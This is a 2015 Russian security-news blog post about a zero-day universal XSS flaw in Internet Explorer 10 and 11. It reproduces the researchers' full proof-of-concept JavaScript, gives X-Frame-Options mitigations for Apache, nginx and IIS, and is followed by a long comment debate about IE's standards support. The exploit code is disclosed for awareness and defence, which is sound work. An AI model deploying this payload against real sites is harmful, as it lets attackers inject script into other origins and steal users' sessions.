5 февраля 2015 в 17:10

XSS-уязвимость нулевого дня в Internet Explorer позволяет атаковать любые сайты

Вчера стало известно о появлении ранее неизвестной уязвимости межсайтового скриптинга в Microsoft Internet Explorer. Используя эту ошибку, удаленный пользователь может внедрить в HTML-страницу произвольный JavaScript-сценарий в обход политики единства происхождения практически на любом сайте.

image

Исследователи из deusen.co.uk, разместившие PoC-код эксплойта, продемонстрировали эксплуатацию уязвимости на сайте первой по величине тиража ежедневной газеты Великобритании «Daily Mail». При нажатии на специально сформированную ссылку пользователь перенаправляется на сайт dailymail.co.uk, после чего ему выводится сообщение «Hacked by Deusen».

Сам код эксплойта выглядит следующим образом:

 function go()
 {
 	w=window.frames[0];
 	w.setTimeout("alert(eval('x=top.frames[1];r=confirm(\\'Close this window after 3 seconds...\\');x.location=\\'javascript:%22%3Cscript%3Efunction%20a()%7Bw.document.body.innerHTML%3D%27%3Ca%20style%3Dfont-size%3A50px%3EHacked%20by%20Deusen%3C%2Fa%3E%27%3B%7D%20function%20o()%7Bw%3Dwindow.open(%27http%3A%2F%2Fwww.dailymail.co.uk%27%2C%27_blank%27%2C%27top%3D0%2C%20left%3D0%2C%20width%3D800%2C%20height%3D600%2C%20location%3Dyes%2C%20scrollbars%3Dyes%27)%3BsetTimeout(%27a()%27%2C7000)%3B%7D%3C%2Fscript%3E%3Ca%20href%3D%27javascript%3Ao()%3Bvoid(0)%3B%27%3EGo%3C%2Fa%3E%22\\';'))",1);
 }
 setTimeout("go()",1000);

Уязвимость присутствует в Internet Explorer 10.x и 11.x. Подробное описание уязвимости доступно по адресу www.securitylab.ru/vulnerability/470863.php.

В сети уже появилось несколько примеров использования уязвимости, из которых видно, что под угрозой множество сайтов. Вот пример с порталом международного форума по практической безопасности PHDays V:



Способы защиты


Необходимо запретить сторонние iframe с помощью опции заголовка X-Frame-Options, отправляемого web-сервером.

Для Apache настройка в .htaccess будет выглядеть так:

Header always append X-Frame-Options SAMEORIGIN

Для nginx:

add_header X-Frame-Options SAMEORIGIN;

Для IIS:

<system.webServer> 
... 
<httpProtocol> 
<customHeaders> 
<add name="X-Frame-Options" value="SAMEORIGIN" /> 
</customHeaders> 
</httpProtocol> 
... 
</system.webServer> 

При отсутствии возможности оперативной настройки серверов защититься можно с помощью решений класса Web Application Firewall (в качестве примера — настройки PT Application Firewall).

image

Стоит отметить, что в целом в последнее время участились 0day в инфраструктурных компонентах — Shellshock, ghost и др. Подливает масла в огонь и корпорация Google, раскрывая подробности о брешах в Windows несмотря на призывы Microsoft к более гибкой системе раскрытия уязвимостей. Похоже, что привычный в среде исследователей подход «узнал, помог закрыть уязвимость, опубликовал подробности» уже не работает.
Автор: @ptsecurity
Positive Technologies
рейтинг 304,56

Комментарии (78)

  • НЛО прилетело и опубликовало эту надпись здесь
    • 0
      Вы будете удивлены, но с точки зрения защиты от тех же XSS, начиная с 9й версии IE сильно шагнул вперёд.
      • +11
        Да, мы видим результаты этой работы.
        • +8
          Да я не о том что IE внезано стал супер-защищённым-браузером. Я к тому что из чего-то что трудно назвать браузером (IE7 и ниже) им удалось сделать что-то более-менее вразумительное, что немного противоречит тезису «воз все там же». В IE8 добавили неплохой XSS Filter, который после нескольких итераций стал очень даже интересным. Я лично уделил довольно много времени попыткам обхода этого фильтра, поэтому всё вышенаписанное — личное субъективное мнение.

          Но это никак не относится в данному посту. Тут конечно огромный фейл.
          • +1
            Не в защиту IE будет сказано, но насчёт «IE7 и ниже вы не правы». Во времена IE 5 и 5.5 не было ни одного вразумительного аналога, впрочем когда только вышел IE6 наблюдалось нечто подобное.
            Другой вопрос что IE6 сильно долго прожил как для браузера, вот и получилось, что новый Firefox уже в html5 video умеет, а IE6 до сих пор маргины нормально посчитать не может, он и не сможет никогда, не виноват ослик, что Майкрософт не предусмотрели механизма его самоуничтожения или хотя бы обновления.
            • 0
              Боюсь что я слишком молод чтобы оценивать ситуацию во времена IE5, IE5.5 и IE6. Но с точки зрения безопасности (опять же с учётом современных реалий) там было всё несколько печально.
              • +2
                Тогда другие приоритеты были, другое время вообще.

                Обвинять IE6 в том, что он кривой, всё равно что обвинять ослика в том, что он не так быстр, умён и грациозен как лошадь. Просто ослик сильно пережил себя.
    • –3
      В IE с уязвимостями в последнее время стало хорошо. Их немного больше, чем в других браузерах по причине того, что его разработка ведется гораздо активнее.

      Что касается новых возможностей, то, например, по поддержке нового стандарта JavaScript он идет наравне с Firefox, опережая другие браузеры, такие как Chrome.
      • +8
        В IE с уязвимостями в последнее время стало хорошо. Их немного больше, чем в других браузерах по причине того, что его разработка ведется гораздо активнее.

        Если мерить, по-вашему, — активность разработки количеством багов, — выходит, что раньше они пилили IE круглосуточно. :)
      • +1
        Их немного больше, чем в других браузерах по причине того, что его разработка ведется гораздо активнее.

        Немного? Серьёзно?

        Уязвимости в Internet Explorer с уровнем опасности выше 9 (то есть, с DoS, RCE и повышением привилегий) — 218
        Google Chrome с аналогичными по серьёзности уязвимостями — 6.
        • +4
          интересно что все 6 у Chrome с уровнем 10. А у IE таких 4
          • 0
            О да, из остальных двух сотен на 9.3 — это очень интересное наблюдение, конечно :)
        • +3
          Вы отлично проиллюстрировали поговорку про ложь, наглую ложь и статистику. :) Посмотрите на описания тех уязвимостей. В случае IE это, как правило, вполне конкретный баг. Для Хрома же в половине случаев уязвимости описаны как Multiple unspecified vulnerabilities, да и в остальных не всегда понятно, идет ли речь о конкретном баге или тоже о множественных.
          • 0
            В случае IE это, как правило, вполне конкретный баг

            В описаниях к IE — аналогично встречаются варианты с multiple vulnerabilities.
      • +2
        ШТА???????


        kangax.github.io/compat-table/es6/

        Я уж молчу про
        caniuse.com/#search=web%20audio
        caniuse.com/#search=webrtc
        caniuse.com/#search=web%20components
        caniuse.com/#search=web%20crypto
        caniuse.com/#search=web%20animations
        caniuse.com/#search=battery

        Вот с маркетингом у MS как всегда всё отлично. Миллионы людей теперь уверены, что IE «поддерживает стандарты»
        • –1
          Колонку правее смотрите, 71%.
          • +7
            Зачем на неё смотреть? FF36 выйдет через две недели, а IE Technical Preview — фиг пойми когда.
        • +1
          С JS, как ни странно, MS — молодцы.
          В ie11 они внедрили самые нужные вещи, которые нереально сделать Traceur или чем-либо аналогичным.
          Arrow function транслитерировать в обычную — как нехрен делать.
          А вот поддержку let и const внедрить, или ввести дополнительные структуры в память — типизированные массивы, Map, Set, WeakMap, __proto__ — черта с два какой-нибудь там traceur сможет поддержать такую низкоуровневую работу с языком.
          Да одно только то, что они в ie10 ввели поддержку WebGL — уже говорит о том, что они пашут как кони проклятые там.

          Я считаю, что в Редмонде с осликом нынче делают реально хорошую работу, подходят с умом, а 9-11 версии делались с оглядкой на то, что энтерпрайз их будет держать у себя годами, и хотели помочь разработчикам обеспечить приличное быстродействие и возможности, а не максимум сахара.
          • 0
            Да где, блин? Где их хорошая работа?
            Поддержка ES6 на уровне Safari Mobile. Поддержка новых спек на уровне плинтуса. Смешно сказать, IE11 не поддерживает НИ ОДНУ спецификацию семейства Web Components! В 2015 году!
            • +2
              И у Technical Preview, кстати, поддержка Web Components — 0%.
        • 0
          Основные существующие стандарты же.
          Вы видимо прилетели из будущего, напоминаю, сейчас февраль 2015го.
          ES6 непонятно когда выйдет, это стандарт будущего, как и IE Technical Preview: twitter.com/awbjs/status/474662357516689410
          P.S. не думал, что когда-то буду защищать майкрософт и IE — но я за справедливость.
          • +3
            > Основные существующие стандарты же.

            Странно, что мне на Хабре приходится рассказывать очевидные вещи.

            Все спецификации W3C проходят через 4 этапа утверждения; третий — Proposed Recommendation — одновременно сопровождается предложением вендорам браузеров имплементировать спецификацию, поскольку для финального утверждения спецификации необходимо показать её техническую зрелость и возможность имплементации.

            Майкрософт, по традиции, этой работой пренебрегает. Пусть Хром с Файрфоксом отдуваются, наступают на грабли, делают техническое ревью, вот это всё.

            Что касается Technical Preview, то «поддержка стандартов» в нём — филькина грамота. Качество этой имплементации никому неизвестно. Когда Technical Preview раскатится на пользователей — неясно (кстати, MS с лёгкостью ломает обратную совместимость между последним Developer Preview и RTM).

            В отличие от Хрома и ФФ с их понятным релизным циклом — превью-версии становятся релизом через 6 недель — Technical Preview от Майкрософта это просто выставочный экземпляр, к реальности относящийся примерно как концепт-кар к серийному производству.
            • –1
              Давайте лучше конкретно: какие основные вышедшие стандарты W3C IE не поддерживает или плохо поддерживает?
              Вы знаете детально, а мне интересно узнать.
              • +1
                Что такое «вышедший стандарт»?
                • 0
                  Вопрос, конечно, интересный. Тот стандарт, который поддерживает 2 крупных браузера?
                  Тот, который общепризнан веб-разработчиками?
                  Тот, который точно изменяться уже не будет, не имеет устоявшихся альтернативных реализаций, и готов ко внедрению?
                  Я согласен на PR-статус, да, в общем, и на REC-статус тоже.
                  Только на caniuse почему-то нету уже де-факто стандартов типа CSS3 или CSS2.1 или ECMAScript 5, надо бы их тоже учитывать…
              • +4
                На caniuse есть фильтры по статусам рекомендаций.

                По W3C Recommendation: caniuse.com/#statuses=rec — у IE10-11 85%, как и у Technical Preview; это худший результат, хуже только Opera Mobile (которая на сервере страницы рендерит).
                Не поддерживаются: Touch Events, SVG Animations, SVG Fonts, MathML
                Имплементированы частично: Media Queries

                По Proposed Recommendations (это те, которые уже стоят в очереди на имплементацию браузерами):
                caniuse.com/#statuses=pr — у IE11 поддержка 0 (ноль!) процентов. И у Technical Preview тоже.
                О чем здесь можно вообще говорить?
                • +3
                  Если брать ещё уровнем выше, Candidate Recommendation, то как-то так:

                  • –2
                    Эти 85% означают, что не поддерживаются: dpcm формат для device-width, Touch events, SVG SMIL, SVG Fonts, MathML.
                    Всё правильно? Не очень-то нужные вещи, как мне кажется, на десктопах и ноутбуках — у всех есть альтернативные реализации и спецификации. Ну и почти для всех перечисленных выше спецификаций или Firefox или Chrome их тоже не поддерживает (за исключением Touch events).
                    Именно это я и имел в виду под «какие основные вышедшие стандарты W3C IE не поддерживает»?
                    P.S. А на планшетах и мобилках пока всё ещё дикий рынок, там вообще у половины пользователей нормального интернета и браузера нет и хоть как нибудь бы это всё показывалось — уже хорошо.
                    • +5
                      Я вот как знал, что ответом будет «да это фигня, а не стандарты».

                      Фигня-не фигня, а цифры, извините, объективны: с поддержкой стандартов у IE всё гораздо хуже, чем у FF и Хром, и в TP ничем не лучше.
                      • –3
                        С поддержкой новых малоиспользуемых стандартов — да, IE адаптирует новые стандарты медленнее. Понимаю, что вам хотелось бы говорить только о новых стандартах и судить всех по ним. А вот старые стандарты, на которых держится 99.9% всего интернета, он поддерживает так же хорошо, как и все остальные браузеры.
                        Нет уже той ситуации, когда сайты отдельно верстаются под IE, вот я о чём.
                        • +4
                          Основной движняк в разработке веб-платформы сейчас крутится вокруг нескольких горячих тем:

                          — Web Components
                          — расширение возможностей платформы — всевозможные Device API, WebRTC, WebCrypto
                          — офлайн — Service Workers
                          — апизация CSS
                          — управление разрешениями и доступом.

                          Во всей этой деятельности IE принимает нулевое участие. Ни один из этих стандартов не разрабатывает и не имплементирует.

                          Поэтому когда я слышу, что IE, якобы, «поддерживает стандарты», да ещё и чуть ли не лучше Хрома и ФФ, что у них там какой-то адов прогресс — я начинаю истерически ржать.

                          Поддерживают. Потому что в 2015 году нельзя не поддерживать. Но вот в *разработке* стандартов они участвуют очень ограниченно. Доверяют, так сказать, всё самое сложное другим людям.
                          • 0
                            Ну так из-за медленного развития они почти всю рыночную долю и растеряли…
                            Но уж, извините, существующие стандарты они поддерживают неплохо. Я говорил именно про это.
                            • 0
                              «Существующие» — это какие?
                              У W3C просто конкретнее некуда классификация стандартов. И по ней у IE всё плохо.
                • +1
                  магия цифр в действии…

                  ios safari 8.1 — 87%, то есть разница между IE и мобильным сафари в 2%.
                  а если посмотреть по вашим же ссылкам что именно не поддерживает IE:
                  touch events (с ремаркой что это поддерживает мобильный IE, также что IE единственный поддерживает Pointer events у которого статус CR)
                  svg fonts (их считай никто не поддерживает)
                  mathml
                  svg smil animations

                  по поводу Proposed Recommendations их там 2 всего, это Vibration API и Server-sent events и если про вибрацию еще можно подумать то зачем Server-sent events когда есть websockets?

                  с Candidate Recommendation в целом ситуация таже, хотя тут и правда есть интересные фичи которые бы стоило поддерживать: CSS supports, CSS/Canvas background-blend-mode, shared workers
                  причем тот же CSS.supports по сути разделен на 2 фичи — метод в JS и @ support в css

                  в общем о чем-то точно можно говорить, основные стандарты поддержаны, лично мне было бы приятно видеть shared workers, но по большому счету его нормально (для меня) поддерживает только firefox
                  • +1
                    Ну, вам, конечно ж, виднее, какие стандарты «основные», а какие нет.
                    Мне с моей колокольни кажется, что IE игнорирует текущие «горячие точки» веб-платформы и отбрехивается маркетингом а ля «смотрите, мы в Technical Preview поддержали <название минорной и/или давно устоявшейся фичи>»
                    • 0
                      полегче.
                      вот вы сами пишите:
                      > По W3C Recommendation: caniuse.com/#statuses=rec
                      это то что рекомендовано к внедрению W3C, то есть не я решил что на текущий момент основные стандарты, а крутые дядьки из W3C (а вы тут со своей колокольней) и на 100% никто эти фичи не поддерживает:
                      IE — 85%
                      FF — 90%
                      Chrome — 92%
                      Opera mobile — 53%

                      Помоему фраза:

                      > хуже только Opera Mobile (которая на сервере страницы рендерит).
                      это чистой воды манипуляция фактами
                      Да технически это худшая поддержка из польшой 3йки для desktop, по как говорят цифры реальная разница не очень большая, и она становиться всё меньше и меньше
                • 0
                  В PR почему-то только 2 фичи: Vibration API и Server-sent events, честно говоря, мало кому нужные (есть веб-сокеты, ну а полезность Vibration API для веб-сайтов… на мобилке небольшая полезность есть, да, а на десктопе нет...).
                  А вот CR, которых не поддерживает IE, дофига. Из них, правда, часть фич — для мобильников, а часть — расширенный CSS.
                  И большая часть из них не поддерживается FF или Chrome… отставание есть, но невелико — где-то пожалуй максимум на полгода работы.
                  А если только по важным фичам, которые действительно нужны 99% сайтов — то у браузеров полный паритет.

                  Спасибо neolink, опередил меня на две минуты. Выводы у нас совпадают.
                  • +1
                    Ну, вам, конечно ж, виднее, какие стандарты «основные», а какие нет.
                    Мне с моей колокольни кажется, что IE игнорирует текущие «горячие точки» веб-платформы и отбрехивается маркетингом а ля «смотрите, мы в Technical Preview поддержали <название минорной и/или давно устоявшейся фичи>»
                    • +2
                      Всё правильно, я с вами согласен относительно новых стандартов. Но вы недооцениваете важность этих самых «давно устоявшихся фич» и переоцениваете влияние новинок. Теперь вернёмся к моему ответу: «Основные существующие стандарты IE поддерживает». Что не так? Неужели кто-то до сих пор отдельно верстает и программирует сайты под IE11?
                      • +1
                        Ваше представление о том, какие стандарты «основные» — не более, чем ваше личное мнение. (Моё — тоже, если что, но я не пишу ни о каких «основых» стандартах). В целом с поддержкой стандартов у IE всё плохо, см. ссылки выше.

                        > Неужели кто-то до сих пор отдельно верстает и программирует сайты под IE11?

                        Представьте себе, да. Мы просто хренову гору времени убили на поддержку этого так сказать браузера.
                        • 0
                          Хм, интересно. А с чем у вас были основные сложности в IE11?
                          • 0
                            • 0
                              А, читал статью о том, как полтора года назад, сразу после выхода IE11, у вас были сложности с IE<11 и с тем, что IE реализовал свой несовместимый Pointer events раньше выхода рекомендаций W3C. Всё правильно?
                              • 0
                                Нет. Были сложности ровно по тем пунктам, которые я и описал в посте.
                                • 0
                                  Так по каким именно пунктам? Увы, в вашем посте никаких пунктов нет. Давайте хотя бы парочку про IE11. Желательно те, которые будут актуальны для кого-либо ещё, кроме вас лично (типа скрытой поддержки Compatibility mode, которая при разработке конкретного сайта никому не мешает).
                                  • +1
                                    — отрыв обратной совместимости между Developer Preview и RTM
                                    — поставка браузера с 5 режимами обратной совместимости
                                    — разное поведение IE11 в режиме IE10 и нативного IE10 (верно для любых сочетаний номера браузера и номера режима)
                                    — разное поведение одного и того же браузера под разными версиями Windows
                                    — наличие списков совместимости, которые сильнее выставленной меты / заголовка

                                    Хватит, или ещё накидать?
                                    • 0
                                      Это не проблемы IE11 работы со стандартами, вы так не считаете? Я-то думал, у вас были проблемы из-за того, что у IE11 проблемы со стандартами.
                                      У других браузеров тоже много разных версий, Chrome 1… Chrome 40, скажем, итд. Вы все их тестируете?
                                      И вы удивитесь, под разными ОС разные браузеры тоже, бывает, ведут себя немного по-разному — например, Chrome под Windows, Mac или iOS.
                                      Списки совместимости… а в других браузерах есть расширения, которые могут создавать свои уникальные глюки.
                                      В общем, это всё реально относится к тестированию возможных ситуаций в браузерах, но не к проблемам самого браузера IE11. Хотя, конечно, о том, что CompatibilityMode отличается от обычного браузера той версии, могли бы и явно написать, но это на всех ресурсах написано и тянулось с давних времён и всем известно.
                                      И вообще, не можете настроить тестирование — пользуйтесь сторонними продуктами для тестирования IE, browserstack в 2013 году вполне себе существовал.
                                      Итого, я правильно понимаю, что вы убили «хренову гору времени» на настройку тестирования в разных версиях IE, но не на вёрстку и разработку специально под IE11, о чём я вас спрашивал?
                                      • +1
                                        Во-первых, ваш исходный вопрос был «неужели кто-то до сих пор верстает отдельно для IE», а не про стандарты.

                                        Во-вторых, а что, режимы совместимости — это не про поддержку стандартов? А про что?

                                        > И вы удивитесь, под разными ОС разные браузеры тоже, бывает, ведут себя немного по-разному — например, Chrome под Windows, Mac или iOS.

                                        Я припоминаю только одну проблему с разным поведением Хрома в разных осях (точнее, при включенном / выключенном) Аэро за 6 лет.
                                        Более того, я даже специально веду статистику браузерно-специфичных багов, и различные версии IE в сумме дают чуть ли не половину из них (при том, что сам IE по доле аудитории даже до 10% не дотягивает, а IE7 мы не поддерживаем).

                                        > В общем, это всё реально относится к тестированию возможных ситуаций в браузерах, но не к проблемам самого браузера IE11.

                                        Вот это прям новость. Я прям затрудняюсь, как это комментировать.

                                        > И вообще, не можете настроить тестирование — пользуйтесь сторонними продуктами для тестирования IE, browserstack в 2013 году вполне себе существовал.

                                        Мне. На Хабре. Рассказывают. Как тестировать. IE.
                                        Лёша dolf видал? Нам тут ценные советы дают.

                                        > Итого, я правильно понимаю, что вы убили «хренову гору времени» на настройку тестирования в разных версиях IE, но не на вёрстку и разработку специально под IE11, о чём я вас спрашивал?

                                        Я вообще не представляю, откуда вы такой вывод сделали.
                                        Разумеется, тестирование под IE тоже съедает несопоставимое с долей этого прости господи браузера время, но на разработку мы убили просто какое-то неприличное количество ресурсов. А потом вышел RTM, нам писали гневные пользователи (всё сломалось, ничего не работает!!!), и мы в аврале всю эту петрушку чинили.
                                        Я очень рад, что вам гораздо лучше моего известно, что таких проблем у нас на самом деле не было.
                                        • –3
                                          Давайте вы попробуете ещё одну попытку разделить ваши личные проблемы до выхода IE11 с самой разработкой под IE11, а также разделить проблемы с другими IE и конкретно 11й IE. Сколько вы на 11й IE затратили времени? Какие проблемы были?
                                          Я прекрасно понимаю, сколько можно мучиться с IE8 и IE9, например.
                                          • +1
                                            > Давайте вы попробуете ещё одну попытку разделить ваши личные проблемы до выхода IE11 с самой разработкой под IE11

                                            Это как? У меня нет никаких «личных» проблем с IE, я им не пользуюсь.

                                            > Сколько вы на 11й IE затратили времени? Какие проблемы были?

                                            Я описал недостаточное количество проблем? Ну давайте ещё опишу: текущая сборка Windows Phone 8.1 вышла с багом и все наши сайты автоматически переключаются в режим IE10 *по юзер-агенту*, но работает как IE11 в смысле движка.
                                            • –1
                                              Ну уж это не в какие ворота. Почти всегда мобильные версии браузеров не соответствуют десктопным. IE11Mobile тут особенным не является. К тому же, это опять же проблема только ваших сайтов, поэтому ваш опыт нерелевантен для всех окружающих. Вы это вообще можете понять?
                                              Если ваш программист руку сломает и не сможет программировать сайты под IE11, это тоже по-вашему проблема IE11?
                                              Вы можете до бесконечности пытаться называть ваши личные проблемы проблемами IE, но я пока что не увидел ни одной проблемы в IE11, аналогов которой не было бы у других браузеров.
                                              Я понимаю, за что вы так не любите IE11 — не сложилось у вас лично, но это не имеет никакого отношения ни к стандартам, ни к другим программистам, ни к объективности.
                                              Вот например проблема в Chrome Stable:
                                              habrahabr.ru/post/243909/ — так что, Chrome теперь хуже IE11, потому что допускают такие баги в релизы?
                                              • +1
                                                > Ну уж это не в какие ворота. Почти всегда мобильные версии браузеров не соответствуют десктопным.

                                                Ваш опыт прям за версту видать. Докладываю: Safari Mobile и Chrome Mobile фактически идентичны своим десткопным вариантам (отстают на пару сборок вебкита).

                                                > К тому же, это опять же проблема только ваших сайтов, поэтому ваш опыт нерелевантен для всех окружающих.

                                                Для моих 400 тысяч сайтов, ага.
                                                На самом деле, я просто не знаю, для каких сайтов эта проблема актуальна. Подозреваю, что проблема в недоудаленных списках совместимости, но господа из МС мне эту информацию не подтвердили и вообще из дискуссии устранились.

                                                > Вы можете до бесконечности пытаться называть ваши личные проблемы проблемами IE, но я пока что не увидел ни одной проблемы в IE11, аналогов которой не было бы у других браузеров.

                                                Да вы не иначе как смеётесь надо мной.

                                                — отрыв обратной совместимости между Developer Preview и RTM
                                                — поставка браузера с 5 режимами обратной совместимости
                                                — разное поведение IE11 в режиме IE10 и нативного IE10 (верно для любых сочетаний номера браузера и номера режима)
                                                — разное поведение одного и того же браузера под разными версиями Windows
                                                — наличие списков совместимости, которые сильнее выставленной меты / заголовка

                                                Приведите «аналоги этой проблемы» в других браузерах, пожалуйста.

                                                > Вот например проблема в Chrome Stable:

                                                … которая возникает с использованием box-shadow более чем в 200 пикселей размером. Ооок. И это у меня, по-вашему, какие-то узкие и нерелевантные кейсы.

                                                Давайте заканчивать эту дискуссию ради бога. IE отвратительный браузер. Его поддержка стоит несоразмерно его доле. Я вас в этом вовсе не убеждаю, поскольку это объективный факт, который я считаю на основании доли специфичных для IE багов в трекере и затраченных ч*м на поддержку.
                                                • –1
                                                  Мне кажется, просто мало кто заморачивается такой тотальной его поддержкой, особенно, когда идёт борьба за доли процента и за суперкачество.
                                                  Вы просто монстры в этом деле, поэтому у остальных нет таких проблем, как у вас, вот и всё.
                                                  И поэтому у вас и у меня такие разные представления о качестве IE. На мой взгляд, оно значительно выросло, где-то с IE10 стало приемлемо для кросс-платформенной кросс-браузерной разработки.
                                                  >— отрыв обратной совместимости между Developer Preview и RTM
                                                  Я не считаю DP версией IE11. Вашу позицию я понимаю, и вам сочувствую, но не считаю, что кто-либо вам чего-то обещал.
                                                  >— поставка браузера с 5 режимами обратной совместимости
                                                  Эквивалентна 5 версиям другого браузера.
                                                  >— разное поведение IE11 в режиме IE10 и нативного IE10 (верно для любых сочетаний номера браузера и номера режима)
                                                  Ну, эквивалентно 20 разным версиям какого-нибудь другого браузера. А сколько версий будет у Chrome за 8 лет развития? (IE7 вышел в 2007м)
                                                  Я помню ту же пляску с FF, когда он обновлялся мажорными версиями. Сейчас уже все отказались от FF3/FF3.5, а я всё ещё помню его баги при отображении дивов.
                                                  >— разное поведение одного и того же браузера под разными версиями Windows
                                                  Эквивалентно разному поведению других браузеров под разными платформами и разными версиями этих платформ. А ещё в других браузерах намного больше расширений.
                                                  >— наличие списков совместимости, которые сильнее выставленной меты / заголовка
                                                  Тут IE11Mobile выделяется, хотя это можно сравнить с нестандартно настроенной политикой обновлений браузера на десктопах в офисах, и опять же с другой версией браузера.
                                                  В общем, то же самое в других браузерах происходит менее заметно, а регрессии гораздо больше устранять при более частой политике обновлений. С режимами совместимости IE11 конечно получилась фигня (и не могло получится иначе), но они и не рассчитывают на массовое применение этих режимов.
                                                  Проблема в том, что веб слишком быстро меняется. Часть сайтов, написанных 5 или 10 лет назад, не будут работать и выглядеть так, как это было запрограммировано. Несут ли создатели браузера за это ответственность?
                                                  IE со своими режимами совместимости пытается нести за это ответственность (переложив часть проблем на человека, составляющего списки совместимости), другие браузеры — нет. Это выбор каждой компании.
                                        • –3
                                          Ага, кажется, начинаю понимать. Вы ваши уникальные проблемы разработки Яндекс.Карт, т.е. веб-приложения, пытаетесь представить как проблемы разработки веб-сайтов под IE11?
                                          Ну, тогда ваши проблемы весьма особенные, и у вас есть повод плеваться на абсолютно все браузеры, и это много говорит о вас и о том, какие браузеры основные у ваших разработчиков, но совершенно ничего не говорит о браузере IE11 и о стандартах. Уж извините.
                                          • +3
                                            Нет, у меня нет поводов плеваться на «абсолютно все браузеры».
                                            Мои проблемы «особенные», потому что у нас 400 тысяч потребителей, т.е. сайтов, устанавливающих себе наши Карты; считайте это эквивалентом того, что мы разрабатываем 400 тысяч веб-сайтов. Поэтому я прекрасно знаю про все 100500 проблем совместисти обсуждаемого недобраузера.

                                            Но, конечно, это шедевр логики. Вы делаете АПИ, входящее в топ-10 в мире, поэтому ваши представления о проблемах разработки в IE11 нерелевантны. И о стандартах ничего не говорят.

                                            Оооок. Спасибо за ваше мнение. Мы обязательно его учтем.
                                            • 0
                                              >считайте это эквивалентом того, что мы разрабатываем 400 тысяч веб-сайтов
                                              Увы, это не так, как бы вам не хотелось в это верить. Вы разрабатываете всего один компонент с одним набором API. Несмотря на то, что вы помогаете сайтам, вы видите всё преломлённым через призму вашей работы.
                                              • 0
                                                Ну, вам виднее.
                                  • 0
                                    Скажете, в моём посте нет этих пунктов?
                                    • 0
                                      Эти — есть, спасибо, теперь понятно, о чём вы говорите.
    • –3
      Ничего-ничего, вот «Spartan» выйдет — посмотрим на результаты.
      • +1
        Комбинация из Avalon, WPF, Silverlight и Spartan будет, как всегда, убийствена для всех участвующих в комбинации.
  • –1
    Для Apache настройка в .htaccess будет выглядеть так:

    Header always append X-Frame-Options SAMEORIGIN

    Стоит добавить, что в Apache должен быть модуль mod_headers, ставится командой sudo a2enmod headers
    • +6
      Также можно добавить команды для установки самого Apache, мало ли.
  • +7
    #решето
    • +7
      Resheto by design.
      • +14
        Resheto-driven development
      • +4
        Значит, не я один прочитал КДПВ как
        Internet Explorer -Hacked by design?
    • +26
      — У нас дыра в безопасности!
      — Ну, хоть что-то у нас в безопасности!
  • 0
    Работает только через iframe? А почему бы просто окно не открыть
  • +2
    ---> Необходимо запретить сторонние iframe с помощью опции заголовка X-Frame-Options, отправляемого web-сервером.

    И всё? Так сами серверы тоже дырявые, если DENY или SAMEORIGIN не был прописан изначально. Этой фиче в конце марта 5 лет уже исполняется.
  • 0
    Все бы ничего, но не хочет мой ослик это выполнять. Говорит, что «SCRIPT5: Отказано в доступе. Файл: browsertools.console.js, строка: 4, столбец: 3»
  • +4
    объясните подробнее принцип атаки? Как изначально сделать вставку iframe в страницу? Алгоритм действий, пожалуйста.
  • 0
    Уже давно, для всех проектов на Apache использую эти заголовки:
        Header unset ETag
        Header set X-Frame-Options: "sameorigin"
        Header set X-Content-Type-Options: "nosniff"
        Header unset X-Runtime
        Header unset X-Powered-By
        Header unset Server
        Header set X-XSS-Protection: "1; mode=block"
        Header set X-WebKit-CSP: "default-src 'self'"
        Header set X-Permitted-Cross-Domain-Policies: "master-only"
        Header set strict-transport-security: "max-age=31536000; includeSubDomains"
    
    • 0
      Мне что-то данные заголовки на целевом сервере не помогают избежать утечки cookie.
      IFRAME'ы не грузятся, а код выполняется в контексте удаленного сервера всё равно.
      • 0
        Что еще по вашему, стоит использовать?

        Дополнение для кук:
        Header always edit Set-Cookie (.*) "$1; HTTPOnly; Secure"
        
  • –4
    страшно представить качество кода ie. Мне еще в детском саду говорили, что нельзя доверять входящим данным из любых источников.
    • +2
      Тут проблема не в доверии к входным данным а немного глубже. Дело в том что при использовании действий которые должны заморживать браузер (модальные окна, синхронные функции) IE продолжает обрабатывать сетевые запросы, что и создало возможность для обмана SOP.

      Подробнее:
      innerht.ml/blog/ie-uxss.html
      • +2
        Спасибо за разъяснения. Странно, что минусуют так, будто я обязан знать как работает браузер внутри. Хотя, был бы я немного опытнее в веб разработке, понял бы, почему используется именно timeout.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разработка